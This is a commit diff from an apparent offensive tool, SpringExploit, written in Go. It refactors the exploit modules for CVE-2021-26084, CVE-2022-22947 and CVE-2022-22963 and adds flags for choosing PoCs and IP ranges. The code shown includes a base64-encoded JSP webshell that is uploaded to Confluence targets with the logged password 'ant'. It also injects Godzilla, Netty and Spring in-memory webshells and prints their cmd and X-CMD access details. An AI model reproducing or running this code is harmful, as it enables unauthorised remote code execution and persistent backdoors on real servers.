Skip to content

Commit deaf20a

Browse files
SummerSecSummerSec
committed
重构了pocs的目录结构 添加两个参数i和p，后续支持指定vul和ip段
1 parent 1282404 commit deaf20a

13 files changed

Lines changed: 109 additions & 42 deletions

File tree

‎cmd/commons/attack/attack.go‎

Lines changed: 36 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,10 @@ package attack
22

33
import (
44
"github.com/SummerSec/SpringExploit/cmd/commons/poc"
5+
_021 "github.com/SummerSec/SpringExploit/cmd/commons/poc/2021"
6+
_022 "github.com/SummerSec/SpringExploit/cmd/commons/poc/2022"
57
log "github.com/sirupsen/logrus"
8+
"strings"
69
)
710

811
func Sevice(url string, hashmap map[string]interface{}) {
@@ -13,10 +16,11 @@ func Sevice(url string, hashmap map[string]interface{}) {
1316
//for k, v := range hashmap {
1417
// log.Debugln("key: ", k, " value: ", v)
1518
//}
16-
for _, v := range a { // 循环添加poc
17-
t := v.(poc.PoC)
18-
t.SendPoc(url, hashmap)
19-
}
19+
//for _, v := range a { // 循环调用poc
20+
// t := v.(poc.PoC)
21+
// t.SendPoc(url, hashmap)
22+
//}
23+
attack(url, a, hashmap)
2024

2125
}
2226

@@ -28,10 +32,35 @@ func addPoc(pocs map[string]interface{}) map[string]interface{} {
2832
log.Debug("[*] Add PoC")
2933
// TODO 添加poc
3034
//pocs["demo"] = &poc.Demo{}
31-
//pocs["CVE202222947"] = &poc.CVE202222947{}
32-
//pocs["CVE202222963"] = &poc.CVE202222963{}
33-
pocs["CVE202126084"] = &poc.CVE202126084{}
35+
pocs["CVE202222947"] = &_022.CVE202222947{}
36+
pocs["CVE202222963"] = &_022.CVE202222963{}
37+
pocs["CVE202126084"] = &_021.CVE202126084{}
3438
//pocs["CVE202222965"] = &_022.CVE202222965{}
3539
return pocs
3640

3741
}
42+
43+
func attack(url string, pocs map[string]interface{}, hashmap map[string]interface{}) {
44+
p := hashmap["Pocs"].(string)
45+
// 以,分割,获取poc name 将其转换为数组
46+
pocsName := strings.Split(p, ",")
47+
var ps []string
48+
for _, v := range pocsName {
49+
log.Debugf("[*] 分割字符串 %s", v)
50+
ps = append(ps, v)
51+
}
52+
53+
// 如果没有选定字符串 则默认所有pocs
54+
if len(ps) == 0 {
55+
log.Debugln("[*] attack all pocs")
56+
for _, v := range pocs {
57+
t := v.(poc.PoC)
58+
t.SendPoc(url, hashmap)
59+
}
60+
} else {
61+
for p := range ps {
62+
pocs[ps[p]].(poc.PoC).SendPoc(url, hashmap)
63+
}
64+
}
65+
66+
}

‎cmd/commons/core/options.go‎

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -29,11 +29,14 @@ type Options struct {
2929
LogFile string
3030
// 重复请求次数
3131
Retry int
32-
// ip 段
33-
//IP string
3432

3533
// 保存结果
3634
Out string
35+
36+
// pocs 选择特定的poc
37+
Pocs string
38+
// ip 段
39+
IP string
3740
}
3841

3942
func (o Options) toString() interface{} {
@@ -55,10 +58,12 @@ func ParseOptions() *Options {
5558
//flag.StringVar(&options.IP, "i", "", "ip segment example: -ip=192.168.0.1/24 ")
5659
flag.IntVar(&options.Timeout, "timeout", 10, "timeout")
5760
flag.StringVar(&options.Out, "o", "result.txt", "out file example: -o=result.txt default result.txt")
61+
flag.StringVar(&options.Pocs, "p", "", "pocs example: -p=poc1,poc2,poc3")
62+
flag.StringVar(&options.IP, "i", "", "ip segment example: -i=192.168.1.1/32")
5863
flag.Parse()
5964

6065
// TODO 修改版本号
61-
v := "0.0.5"
66+
v := "0.0.6"
6267

6368
if options.Version {
6469
//ShowBanner(v)

‎cmd/commons/core/runner.go‎

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,15 @@ func (r *Runner) Run() {
3636

3737
if f == "" {
3838
urls = append(urls, r.options.Url)
39-
} else {
39+
} else if r.options.File != "" {
4040
urls, _ = utils.ReadFile(r.options.File)
41+
} else if r.options.IP != "" {
42+
urls = append(urls, r.options.IP)
43+
} else {
44+
log.Error("No file or url or ips specified")
45+
return
4146
}
47+
4248
log.Debugln("URLs: ", urls)
4349
var i = 0
4450
k := r.options.Thread
@@ -52,7 +58,7 @@ func (r *Runner) Run() {
5258
log.Debugln("Running attack on: ", urls[i])
5359
// 通道通信 发送url 并且 i++
5460
c := make(chan int)
55-
go Start(urls[i], hashmap, i, c) // Start 3 goroutines
61+
go Start(urls[i], hashmap, i, c) // Start k goroutines
5662
i = <-c
5763
} else {
5864
i++

cmd/commons/poc/CVE-2021-26084.go renamed to cmd/commons/poc/2021/CVE-2021-26084.go

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
1-
package poc
1+
package _021
22

33
import (
4+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
45
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
56
"github.com/fatih/structs"
67
"github.com/imroc/req/v3"
@@ -11,7 +12,7 @@ import (
1112
type CVE202126084 struct{}
1213

1314
func (p CVE202126084) SendPoc(target string, hashmap map[string]interface{}) {
14-
reqinfo := NewReqInfo()
15+
reqinfo := req2.NewReqInfo()
1516
reqmap := structs.Map(reqinfo)
1617
u := target + "pages/doenterpagevariables.action"
1718
shell := "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZhLnV0aWwuemlwLioiJT4NCjwlIQ0KICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgew0KICAgIFUoQ2xhc3NMb2FkZXIgYykgew0KICAgICAgc3VwZXIoYyk7DQogICAgfQ0KICAgIHB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKSB7DQogICAgICByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOw0KICAgIH0NCiAgfQ0KICBwdWJsaWMgYnl0ZVtdIGRlY29tcHJlc3MoYnl0ZVtdIGRhdGEpIHsNCiAgICBieXRlW10gb3V0cHV0ID0gbmV3IGJ5dGVbMF07DQogICAgSW5mbGF0ZXIgZGMgPSBuZXcgSW5mbGF0ZXIoKTsNCiAgICBkYy5yZXNldCgpOw0KICAgIGRjLnNldElucHV0KGRhdGEpOw0KICAgIEJ5dGVBcnJheU91dHB1dFN0cmVhbSBvID0gbmV3IEJ5dGVBcnJheU91dHB1dFN0cmVhbShkYXRhLmxlbmd0aCk7DQogICAgdHJ5IHsNCiAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVsxMDI0XTsNCiAgICAgIHdoaWxlICghZGMuZmluaXNoZWQoKSkgew0KICAgICAgICBpbnQgaSA9IGRjLmluZmxhdGUoYnVmKTsNCiAgICAgICAgby53cml0ZShidWYsIDAsIGkpOw0KICAgICAgfQ0KICAgICAgb3V0cHV0ID0gby50b0J5dGVBcnJheSgpOw0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7DQogICAgICAgIG91dHB1dCA9IGRhdGE7DQogICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgfSBmaW5hbGx5IHsNCiAgICAgIHRyeSB7DQogICAgICAgICAgby5jbG9zZSgpOw0KICAgICAgfSBjYXRjaCAoSU9FeGNlcHRpb24gZSkgew0KICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGRjLmVuZCgpOw0KICAgIHJldHVybiBvdXRwdXQ7DQogIH0NCiAgcHVibGljIGJ5dGVbXSBiYXNlNjREZWNvZGUoU3RyaW5nIHN0cikgdGhyb3dzIEV4Y2VwdGlvbiB7DQogICAgdHJ5IHsNCiAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOw0KICAgICAgcmV0dXJuIChieXRlW10pIGNsYXp6LmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgU3RyaW5nLmNsYXNzKS5pbnZva2UoY2xhenoubmV3SW5zdGFuY2UoKSwgc3RyKTsNCiAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgew0KICAgICAgQ2xhc3MgY2xhenogPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7DQogICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsNCiAgICAgIHJldHVybiAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpbmcuY2xhc3MpLmludm9rZShkZWNvZGVyLCBzdHIpOw0KICAgIH0NCiAgfQ0KJT4NCjwlDQogIFN0cmluZyBjbHMgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiYW50Iik7DQogIGlmIChjbHMgIT0gbnVsbCkgew0KICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGRlY29tcHJlc3MoYmFzZTY0RGVjb2RlKGNscykpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7DQogIH0NCiU+"
@@ -39,10 +40,10 @@ func (p CVE202126084) SendPoc(target string, hashmap map[string]interface{}) {
3940

4041
resp := utils.Send(reqmap)
4142

42-
if p.checkExp(resp, target, file) {
43+
if p.CheckExp(resp, target, file) {
4344
context := target + " 存在CVE-2021-26084漏洞！" + target + "testAnt.jsp 蚁剑密码 ant "
4445
log.Info(context)
45-
p.saveResult(target, file)
46+
p.SaveResult(target, file)
4647
}
4748

4849
}
@@ -51,11 +52,11 @@ func (CVE202126084) init() {
5152
log.Debugf("CVE-2021-26084 init")
5253
}
5354

54-
func (CVE202126084) saveResult(target string, file string) {
55+
func (CVE202126084) SaveResult(target string, file string) {
5556
utils.SaveToFile(target, file)
5657
}
5758

58-
func (CVE202126084) checkExp(resp *req.Response, target string, file string) bool {
59+
func (CVE202126084) CheckExp(resp *req.Response, target string, file string) bool {
5960
if !resp.IsSuccess() {
6061
log.Debugf(resp.Dump())
6162
return true

cmd/commons/poc/CVE-2022-22947.go renamed to cmd/commons/poc/2022/CVE-2022-22947.go

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
1-
package poc
1+
package _022
22

33
import (
44
"fmt"
5+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
56
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
67
"github.com/fatih/structs"
78
"github.com/imroc/req/v3"
@@ -36,7 +37,7 @@ func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
3637
log.Debugf("SpringRequestMappingMemshell: \n", SpringRequestMappingMemshell)
3738
log.Debugln("NettyMemshell: \n" + NettyMemshell)
3839
log.Debugf("[+] Running default poc")
39-
reqinfo := NewReqInfo()
40+
reqinfo := req2.NewReqInfo()
4041
reqmap := structs.Map(reqinfo)
4142
// 解析target
4243
//t, _ := url.Parse(target)
@@ -86,17 +87,17 @@ func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
8687
reqmap["method"] = "POST"
8788
utils.Send(reqmap)
8889

89-
if p.checkExp(resp, target, hashmap["Out"].(string)) {
90+
if p.CheckExp(resp, target, hashmap["Out"].(string)) {
9091
log.Info("[+] Successful exploitation CVE-2020-222947")
91-
p.saveResult(target, hashmap["Out"].(string))
92+
p.SaveResult(target, hashmap["Out"].(string))
9293
break
93-
} else if !p.checkExp(resp, target, hashmap["Out"].(string)) {
94+
} else if !p.CheckExp(resp, target, hashmap["Out"].(string)) {
9495
// NettyMemshell.doInject()
9596
id = utils.GetCode(6)
9697
s := fmt.Sprintf(payload, id, NettyMemshell)
9798
reqmap["body"] = s
9899
f++
99-
} else if !p.checkExp(resp, target, hashmap["Out"].(string)) {
100+
} else if !p.CheckExp(resp, target, hashmap["Out"].(string)) {
100101
// SpringRequestMappingMemshell.doInject()
101102
id = utils.GetCode(6)
102103
s := fmt.Sprintf(payload, id, SpringRequestMappingMemshell)
@@ -116,7 +117,7 @@ func (CVE202222947) init() {
116117
}
117118

118119
// 检查是否成功
119-
func (p CVE202222947) checkExp(resp *req.Response, url string, file string) bool {
120+
func (p CVE202222947) CheckExp(resp *req.Response, url string, file string) bool {
120121
res := resp.Dump()
121122
log.Debugf("[+] res:%s", res)
122123
if strings.Contains(res, "route_id") {
@@ -127,15 +128,15 @@ func (p CVE202222947) checkExp(resp *req.Response, url string, file string) bool
127128
log.Debugln("[+] Result: " + re.String())
128129
log.Info("[+] Successful exploitation CVE-2020-222947")
129130
log.Info("[*] 请手动验证是否漏洞利用成功！")
130-
p.saveResult(url, file)
131+
p.SaveResult(url, file)
131132
return true
132133
}
133134
return true
134135
}
135136
return false
136137
}
137138

138-
func (CVE202222947) saveResult(target, file string) {
139+
func (CVE202222947) SaveResult(target, file string) {
139140
context := target + " Successful exploitation CVE-2020-222947 " + target + "/?cmd=echo Result or add header X-CMD: echo Result 默认优先注入哥斯拉内存马、NettyMemshell、SpringRequestMappingMemshell"
140141
log.Info("[*]: url: " + target + "哥斯拉内存马 密码和key pass key header添加sumsec头 or /?cmd=echo Result or add header X-CMD: echo Result 默认优先注入哥斯拉内存马、NettyMemshell、SpringRequestMappingMemshell")
141142
utils.SaveToFile(context, file)

cmd/commons/poc/CVE-2022-22963.go renamed to cmd/commons/poc/2022/CVE-2022-22963.go

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
1-
package poc
1+
package _022
22

33
import (
4+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
45
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
56
"github.com/fatih/structs"
67
"github.com/imroc/req/v3"
@@ -11,7 +12,7 @@ type CVE202222963 struct{}
1112

1213
func (p CVE202222963) SendPoc(target string, hashmap map[string]interface{}) {
1314

14-
reqinfo := NewReqInfo()
15+
reqinfo := req2.NewReqInfo()
1516
reqmap := structs.Map(reqinfo)
1617
url := target + "functionRouter"
1718
reqmap["url"] = url
@@ -46,9 +47,9 @@ func (p CVE202222963) SendPoc(target string, hashmap map[string]interface{}) {
4647

4748
res := dnslog.GetDnslog()
4849
if res {
49-
if p.checkExp(resp, target, hashmap["Out"].(string)) {
50+
if p.CheckExp(resp, target, hashmap["Out"].(string)) {
5051
log.Infof("[+] %s: %s", target, "CVE-2022-22963")
51-
p.saveResult(target, hashmap["Out"].(string))
52+
p.SaveResult(target, hashmap["Out"].(string))
5253
}
5354
}
5455

@@ -59,12 +60,12 @@ func (CVE202222963) init() {
5960

6061
}
6162

62-
func (CVE202222963) saveResult(target string, file string) {
63+
func (CVE202222963) SaveResult(target string, file string) {
6364
context := target + " 存在CVE-2022-22963漏洞\n"
6465
utils.SaveToFile(context, file)
6566
}
6667

67-
func (p CVE202222963) checkExp(resp *req.Response, dnslog string, file string) bool {
68+
func (p CVE202222963) CheckExp(resp *req.Response, dnslog string, file string) bool {
6869
log.Debugf("CVE-2022-22963 checkExp")
6970
return true
7071

cmd/commons/poc/DefaultPocS.go renamed to cmd/commons/poc/PoC.go

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@ import "github.com/imroc/req/v3"
55
// PoC poc接口
66
type PoC interface {
77
SendPoc(target string, hashmap map[string]interface{})
8-
init()
9-
saveResult(target string, file string)
10-
checkExp(resp *req.Response, target string, file string) bool
8+
SaveResult(target string, file string)
9+
CheckExp(resp *req.Response, target string, file string) bool
1110
}

‎cmd/commons/poc/demo.go‎

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package poc
22

33
import (
4+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
45
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
56
"github.com/fatih/structs"
67
"github.com/imroc/req/v3"
@@ -12,7 +13,7 @@ type Demo struct{}
1213
func (d Demo) SendPoc(target string, hashmap map[string]interface{}) {
1314

1415
log.Debugf("[+] Running default poc")
15-
reqinfo := NewReqInfo()
16+
reqinfo := req2.NewReqInfo()
1617
reqmap := structs.Map(reqinfo)
1718
// TODO 每次传入的url 都是标准的 http(s)://host:port/path
1819
// 可以使用 url.Parse 来解析获取 host 和 port
@@ -47,10 +48,10 @@ func (d Demo) SendPoc(target string, hashmap map[string]interface{}) {
4748
log.Debugln("[+] resp: ", resp.Dump())
4849

4950
// TODO check exp
50-
d.checkExp(resp, target, hashmap["Out"].(string))
51+
d.CheckExp(resp, target, hashmap["Out"].(string))
5152

5253
// TODO 保存结果
53-
d.saveResult(target, hashmap["Out"].(string))
54+
d.SaveResult(target, hashmap["Out"].(string))
5455

5556
}
5657

@@ -60,14 +61,14 @@ func (d Demo) init() {
6061
}
6162

6263
// SaveResult 保存结果
63-
func (d Demo) saveResult(target, file string) {
64+
func (d Demo) SaveResult(target, file string) {
6465
log.Debugf("[+] save result")
6566
// TODO 保存结果
6667
utils.SaveToFile(target, file)
6768

6869
}
6970

70-
func (d Demo) checkExp(resp *req.Response, target string, file string) bool {
71+
func (d Demo) CheckExp(resp *req.Response, target string, file string) bool {
7172
log.Debugf("[+] check exp")
7273
return false
7374
}

cmd/commons/poc/request.go renamed to cmd/commons/req/request.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package poc
1+
package req
22

33
type ReqInfo struct {
44
Method string

‎cmd/test/interface/demo.go‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
package _interface
2+
3+
import "github.com/imroc/req/v3"
4+
5+
type Demo interface {
6+
Foo(response req.Response)
7+
Koo()
8+
}

0 commit comments

Comments
 (0)